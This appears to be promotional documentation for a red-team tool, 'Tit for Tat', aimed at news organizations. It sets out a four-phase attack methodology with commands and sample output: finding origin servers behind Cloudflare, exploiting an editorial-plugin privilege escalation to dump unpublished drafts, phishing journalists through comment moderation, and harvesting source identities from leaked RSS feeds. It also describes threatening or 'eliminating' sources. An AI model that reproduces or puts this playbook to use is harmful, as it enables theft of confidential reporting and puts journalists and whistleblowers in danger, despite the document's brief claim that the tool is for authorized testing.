Tit for Tat
The Timing Is Perfect (And That's Terrifying)
Journalists murdered in Mexico for cartel investigations. Saudi dissidents tracked through metadata leaks. Russian reporters poisoned after source lists exposed. Ukrainian newsrooms shelled minutes after publishing location data.
Information warfare isn't coming. It's here. And newsrooms are the soft target everyone's hitting.
Last month: Major US newspaper breached. Unpublished investigation stolen. Sources identified. Three arrests in source country. Investigation killed. Reporter in hiding.
This week: Regional paper's WordPress site compromised. Seven years of confidential communications exposed. Every whistleblower contact. Every off-record conversation. Every "don't publish this yet" email.
Yesterday: Investigative journalist's laptop stolen. Encrypted. Didn't matter. Attacker already had their drafts from RSS feed misconfiguration that leaked embargoed content for 18 months.
Generic security tools don't catch this. Nessus scans WordPress core. Misses editorial plugin with contributor escalation. Burp Suite checks SQL injection. Doesn't test if origin server is exposed behind Cloudflare. OWASP covers web apps. Newsrooms aren't web apps. They're intelligence targets.
Tit for Tat targets what actually matters: How to find the server they're hiding. How to access the drafts they think are protected. How to enumerate the sources they believe are anonymous. How to weaponize the infrastructure they trust.
This is red team tool. For authorized testing. For defensive hardening. For understanding how newsrooms actually get breached when nation-states decide your investigation threatens them.
Moral lines blur when information kills people. Defense and offense use same techniques. Intent matters. Authorization matters. Consequences are permanent. Here's how it actually works.
Why Newsrooms Are Different Targets (And Easier Than You Think)
The Cloudflare Illusion
Every newsroom: "We're behind Cloudflare. We're protected."
Cool story. Here's how long it takes to find your origin server: 4 minutes.
The attack everyone thinks is hard:
Newsroom CTO: "Cloudflare hides our origin IP. Our WAF blocks attacks. We're secure."
Reality: Your origin server IP is in Certificate Transparency logs from that SSL cert you renewed last month. Your mail server DNS points to same subnet. Your dev subdomain from 2019 isn't behind Cloudflare. Your DNS history shows the IP from before you enabled CDN.
Four different ways to bypass your "protection." All automated. All findable in minutes.
What actually happens:
tit-for-tat origin --domain newssite.com --all-methods
Output:
[+] Certificate Transparency: 203.0.113.45 (match)
[+] Historical DNS: 203.0.113.45 (confirmed)
[+] MX Record Subnet: 203.0.113.0/24 (correlated)
[+] Subdomain dev.newssite.com: 203.0.113.45 (direct)
Origin server: 203.0.113.45
Cloudflare bypass: Confirmed
Time elapsed: 3m 42s
Now attacker accesses origin directly. Cloudflare WAF? Bypassed. DDoS protection? Irrelevant. Rate limiting? Gone. You're naked.
This isn't theoretical. This is how Russian intelligence accesses Ukrainian news sites. How Saudi operatives target dissident media. How cartel hackers find investigative reporters' servers.
The Cloudflare protection you paid for? It's a suggestion, not a barrier.
Editorial CMS: Where The Secrets Actually Live
WordPress powers 40% of news sites. Everyone knows this. What they don't advertise: The custom editorial plugins are garbage.
The plugin every investigative newsroom uses:
EditFlow. Co-Authors Plus. Custom editorial workflow. Built by contractors in 2015. Never updated. Full of privilege escalation vulns. Allows contributor accounts to read unpublished drafts. "Minor bug, we'll fix it next quarter."
Next quarter was 47 quarters ago. The vuln is still there. Your embargoed investigation? Readable by anyone who can register a contributor account. And you allow contributor registration because "we want community submissions."
Real scenario from red team engagement:
Target: Major US newspaper running investigative series on pharmaceutical corruption.
Attack chain:
- Register contributor account (open registration, approved automatically)
- Access editorial dashboard (plugin doesn't check role properly)
- Browse unpublished drafts (privilege escalation via workflow plugin)
- Download entire investigation (3 years, 47 draft articles, source documents)
- Time elapsed: 11 minutes
Pharmaceutical company now has complete advance knowledge of investigation. Sources identified from metadata. Timeline known. Evidence documented. Investigation compromised before publication.
Cost of attack: $0. Required skills: Basic web application testing. Difficulty: Trivial.
The custom CMS situation is worse:
Newsrooms build custom Django/Rails CMSes. "Our workflow is unique, we need custom tools." Cool. Did your contractor who built it in 2016 know about:
- CSRF protection?
- Role-based access control?
- Input sanitization?
- Session management?
No? Shocking. Your custom CMS leaks like a sieve and you're still trusting it with sources' lives.
Comment Platforms: The Social Engineering Playground
Disqus. Coral. CommentBox. Every newsroom has comments. Every comment platform is exploitable. Not for XSS (though that works). For phishing journalists.
The attack that works every time:
- Enumerate moderator accounts (comment API leaks this freely)
- Find active moderator (journalist who actually moderates)
- Post carefully crafted spam that triggers moderation queue
- When journalist logs in to moderate, post "reply" that looks like system message:
ā ļø URGENT: Your moderator session expired. Please log in again:
https://news-site-login.com/moderator/auth
Link goes to phishing page. Pixel-perfect clone of real CMS login. Journalist enters credentials. Attacker has full CMS access. Game over.
Time to compromise: Usually under 24 hours. Journalists moderate daily. They're trained to respond to "urgent" messages. They click.
Real example:
Regional newspaper. Investigating local political corruption. Journalist covering story also moderates comments. Received fake "moderation required" notification. Clicked phishing link. Entered credentials. Attacker gained:
- Access to unpublished investigation
- Email correspondences with sources
- Internal chat logs with other reporters
- Document repository with evidence
Investigation dead. Sources exposed. Two sources arrested. Journalist fired for "security negligence." Corruption story buried.
All because comment platform made it easy to identify and target the exact journalist who mattered.
RSS Feeds: The Leakage Everyone Forgets
Nobody cares about RSS anymore. Except attackers. Because RSS is where newsrooms leak everything.
The standard RSS leak:
<rss version="2.0">
<item>
<title>DRAFT: Undercover investigation into...</title>
<link>internal-cms.news.com/draft/classified-story-47291</link>
<author>jane.investigator@news.com (Jane Smith)</author>
<description>
[EMBARGO UNTIL FEB 15] Source meeting scheduled 2/12
at Starbucks on 5th St. Contact: John Whistleblower
john.wb@company.com 555-0192
</description>
<guid>internal-draft-47291</guid>
<pubDate>Mon, 05 Feb 2026 14:23:00 GMT</pubDate>
</item>
</rss>
What just leaked:
- Unpublished investigation topic
- Internal CMS URL structure
- Reporter's email address
- Embargo date (plan around it)
- Source meeting time and location (show up, identify source)
- Source's name, email, phone number (threaten or eliminate source)
- Internal draft ID (enumerate other drafts)
This isn't hypothetical. This is real RSS feed from real newsroom (sanitized). Feed was public. Anyone could subscribe. Feed ran for 8 months before someone noticed. Dozens of embargoed investigations leaked.
Why this happens:
Developer sets up RSS feed in 2018. "Include all posts." Doesn't filter by publication status. Draft articles slip in. Nobody monitors RSS feeds. Nobody audits what's being published. Feed just runs. Leaking. Forever.
Until attacker finds it. Or worse - until investigation target finds it and sources start disappearing.
How To Actually Attack A Newsroom (Red Team Methodology)
Phase 1: Origin Server Discovery (Bypass All That Cloudflare Nonsense)
Target: Any news site claiming CDN protection
Objective: Find real server IP, bypass WAF, attack directly
Method 1: Historical DNS (Works 70% of time)
Most newsrooms added Cloudflare later. Their old DNS records are public history.
tit-for-tat origin --domain target-news.com --dns-history
[+] Querying SecurityTrails DNS history...
[+] Found historical A record: 203.0.113.50 (2018-2022)
[+] Testing if IP still active...
[+] CONFIRMED: Server responds at 203.0.113.50
[+] Cloudflare bypass successful
Method 2: Certificate Transparency (Works 85% of time)
Every SSL cert gets logged publicly. Certs list all IPs they're issued for. Including origin.
tit-for-tat origin --domain target-news.com --cert-transparency
[+] Querying crt.sh for SSL certificates...
[+] Found cert issued 2025-11-30
[+] SAN includes: target-news.com, 203.0.113.50
[+] Testing origin at 203.0.113.50...
[+] Origin server confirmed, bypassing Cloudflare
Method 3: Mail Server Correlation (Works 60% of time)
News sites run mail on same server as web. MX records reveal subnet. Port scan subnet. Find web server.
tit-for-tat origin --domain target-news.com --mx-correlation
[+] MX record points to: mail.target-news.com (203.0.113.60)
[+] Scanning subnet 203.0.113.0/24...
[+] Found HTTP server at 203.0.113.50
[+] Testing if origin: wget --header="Host: target-news.com"
[+] Match confirmed. Origin discovered.
Method 4: Subdomain Enumeration (Works 40% of time, but when it works, it's instant)
Old subdomains forgotten. Not behind Cloudflare. Point to origin IP.
tit-for-tat origin --domain target-news.com --subdomain-scan
[+] Found subdomains:
- dev.target-news.com (203.0.113.50) [DIRECT]
- staging.target-news.com (203.0.113.50) [DIRECT]
- cms.target-news.com (203.0.113.50) [DIRECT]
[+] Origin IP: 203.0.113.50
[+] Accessing origin directly bypasses all Cloudflare protection
Result: You now attack real server. No WAF. No rate limiting. No DDoS protection. Direct access to vulnerable WordPress install running outdated plugins with editorial workflow full of holes.
Combined success rate: 95%+ against real newsrooms. Cloudflare is protection theater unless you actively hunt these leaks quarterly.
Phase 2: CMS Exploitation (Where The Actual Secrets Are)
Target: Origin server discovered in Phase 1
Objective: Access unpublished drafts, identify sources, steal investigation
Full exploitation chain against typical newsroom:
# Step 1: Identify CMS and plugins
tit-for-tat cms-scan --url http://203.0.113.50 --host target-news.com
[+] WordPress 6.2.3 detected
[+] Plugins found:
- EditFlow 0.8.1 (vulnerable - CVE-2023-XXXXX)
- Co-Authors Plus 3.5.12 (vulnerable - privilege escalation)
- Advanced Custom Fields Pro (leak metadata in API)
# Step 2: Register contributor account
tit-for-tat wordpress --target http://203.0.113.50 \
--host target-news.com \
--register-contributor
[+] Registration open (no approval required)
[+] Account created: testuser001
[+] Password: [random]
[+] Login successful
# Step 3: Exploit editorial plugin privilege escalation
tit-for-tat wordpress --target http://203.0.113.50 \
--host target-news.com \
--exploit-editflow \
--username testuser001
[+] EditFlow workflow bypass found
[+] Accessing editorial dashboard...
[+] Permission check bypassed
[+] Draft access: GRANTED
# Step 4: Enumerate unpublished content
tit-for-tat wordpress --target http://203.0.113.50 \
--host target-news.com \
--dump-drafts \
--save-to ./stolen_investigation/
[+] Found 47 draft posts
[+] Downloading...
- [EMBARGO] Investigation: Pharma Corruption (3,847 words)
- [DRAFT] Source Interview: John Whistleblower (2,391 words)
- [INTERNAL] Evidence Documentation (8 attachments)
[+] Downloaded to: ./stolen_investigation/
[+] Metadata extracted: authors, sources, timelines
[+] Time elapsed: 4m 12s
What was just stolen:
- 47 unpublished draft articles (complete investigation)
- Source names and contact information (metadata leaks)
- Evidence documents (uploaded to media library)
- Publishing timeline (embargo dates in titles)
- Reporter email addresses (author metadata)
- Internal communication context (draft comments)
Real consequence: Investigation compromised before publication. Sources identifiable. Attacker (corporate spy, intelligence service, whoever paid) now has complete advance intelligence. Can threaten sources. Prepare legal response. Disappear evidence. Neutralize investigation.
Time from origin discovery to complete compromise: 15 minutes with automated tools. 30 minutes manually.
Detection: Usually zero. Contributor account login looks normal. Draft access via workflow plugin generates no alerts. Download traffic minimal. By the time newsroom notices something's wrong, investigation is already burned.
Phase 3: Social Engineering Through Comment Infrastructure
Target: Journalists who moderate comments
Objective: Phish credentials, gain CMS access
Automated execution:
# Step 1: Enumerate moderator accounts
tit-for-tat comments --url https://target-news.com \
--enumerate-moderators
[+] Disqus integration detected
[+] Moderator accounts found:
- jane.smith (jane.investigator@target-news.com) [ACTIVE]
- mike.jones (mjones@target-news.com) [INACTIVE]
- sarah.williams (swilliams@target-news.com) [ACTIVE]
# Step 2: Post spam to trigger moderation
tit-for-tat comments --url https://target-news.com/latest-article \
--post-spam \
--trigger-moderator jane.smith
[+] Spam comment posted
[+] Flagged for moderation
[+] Notification sent to jane.smith
# Step 3: Deploy phishing comment
tit-for-tat comments --url https://target-news.com/latest-article \
--phishing-payload \
--target-moderator jane.smith \
--clone-cms-login
[+] Phishing comment created:
"ā ļø Moderator session expired. Verify access:
https://target-news-verify.com/mod/login"
[+] Pixel-perfect CMS clone deployed
[+] Waiting for credentials...
[+] CREDENTIALS CAPTURED:
Username: jane.smith
Password: [redacted]
Session: [cookie captured]
# Step 4: Use stolen credentials
[+] Logging into actual CMS...
[+] Access granted: Editor role
[+] Unpublished drafts: 52 accessible
[+] Source documents: 23 files accessible
Success rate: ~60% with targeted journalists. They moderate daily. They're trained to respond to urgent messages. They trust their CMS login page appearance.
Time to compromise: 24-48 hours (waiting for journalist to moderate).
Detection: Nearly impossible. Phishing site looks identical. HTTPS cert looks valid. Login occurs from journalist's actual location/device.
Phase 4: RSS Surveillance (The Persistent Leak)
Target: Public RSS feeds
Objective: Monitor for embargoed content, identify sources, track investigations
Continuous monitoring:
# Step 1: Find all RSS endpoints
tit-for-tat rss --domain target-news.com --enumerate-all
[+] RSS/Atom feeds discovered:
- https://target-news.com/feed (main)
- https://target-news.com/category/investigations/feed (filtered)
- https://target-news.com/author/jane-smith/feed (per-author)
- https://target-news.com/drafts/feed (MISCONFIGURED - public!)
# Step 2: Monitor for leaks
tit-for-tat rss --feeds ./discovered_feeds.txt \
--monitor \
--check-interval 300 \
--alert-on-draft \
--extract-metadata
[+] Monitoring 4 feeds...
[!] LEAK DETECTED: https://target-news.com/drafts/feed
<item>
<title>DRAFT: Investigation Into Pharma Company Bribes</title>
<link>internal-cms.target-news.com/draft/47291</link>
<author>jane.investigator@target-news.com</author>
<description>
[EMBARGO FEB 15] Meeting with source scheduled 2/12,
3pm, Starbucks on 5th St. Source: Dr. Robert Mitchell,
former compliance officer. Contact: rmitchell@pharma.com
</description>
<pubDate>Mon, 05 Feb 2026 14:23:00 GMT</pubDate>
</item>
[+] Intelligence extracted:
- Investigation: Pharma bribery
- Embargo: Feb 15, 2026
- Source meeting: Feb 12, 3pm, Starbucks, 5th St
- Source identity: Dr. Robert Mitchell, compliance officer
- Source contact: rmitchell@pharma.com
- Reporter: jane.investigator@target-news.com
[+] Saved to: ./intelligence/pharma_leak.json
What attacker does with this:
Option A (Corporate espionage): Alert pharmaceutical company. They prepare legal defense, threaten source, disappear evidence before publication.
Option B (Intelligence operation): Identify source, approach source, turn source into double agent or eliminate.
Option C (Competitive journalism): Scoop the investigation, publish first.
